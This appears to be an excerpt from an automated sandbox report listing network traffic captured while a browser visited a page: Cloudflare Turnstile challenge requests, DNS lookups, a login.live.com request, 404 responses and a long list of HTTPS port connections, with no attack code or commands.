Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://z2k.3kf2d.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cf0729b4f0b8ca5&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8cf0729b4f0b8ca5&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/211393053:1728329476:dvtISFmiJs2__pLTyLKi4eNPXJi9P55sSyYhJaMaUp4/8cf0729b4f0b8ca5/000306d208669e8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8cf0729b4f0b8ca5/1728330917014/843317addcc4ece46b43fbcf778a5c705e13e9acccbe5f2fafd762eb5f5391cc/otuKBsaF_AHM0X9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cf0729b4f0b8ca5/1728330917016/SRRsa0q_X0qneYx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/gsyrn/0x4AAAAAAAiGphmB8-NjCTqR/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8cf0729b4f0b8ca5/1728330917016/SRRsa0q_X0qneYx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/211393053:1728329476:dvtISFmiJs2__pLTyLKi4eNPXJi9P55sSyYhJaMaUp4/8cf0729b4f0b8ca5/000306d208669e8 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: z2k.3kf2d.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 19:53:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Age: 12395Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=syntGHM6%2FxT4o5haIEW%2FZlLH8bZr7lHpTxahJA%2BIqTEy1eaCqmUqTy9py8oVNKoCOunBu5ArSc529ynU2LY6Qgq3xHFJZ5HHmU95Sn3mIgS%2F7cc0Ueo3fSnEXAhyFQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingSpeculation-Rules: "/cdn-cgi/speculation"CF-Cache-Status: HITServer: cloudflareCF-RAY: 8cf06f964ac54399-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 19:53:12 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: Esk9DY4wpaQWTDOa3K+dy51lz3zGuepkg+Y=$JHt2FjHCIWj6cNlacache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8cf06f9ceddbc452-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 19:53:15 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: D+wt6aX1txEpKZl7AcOveed/2CELJ/La/Pw=$Pef5KOJ+lvs0BN/pServer: cloudflareCF-RAY: 8cf06fadef184346-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 19:55:18 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: jA0Xoo08PtvWs6WoZhXKJcT69TKvxnvKZH4=$YVs+IMCq4cJBpCHjServer: cloudflareCF-RAY: 8cf072adfe620f5f-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 19:55:22 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: Xg977QAY6jZwP5x1ujglY90zhainQLS20OU=$MOh3uQyUqjPf8hLgServer: cloudflareCF-RAY: 8cf072c8fa4ec44a-EWR

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
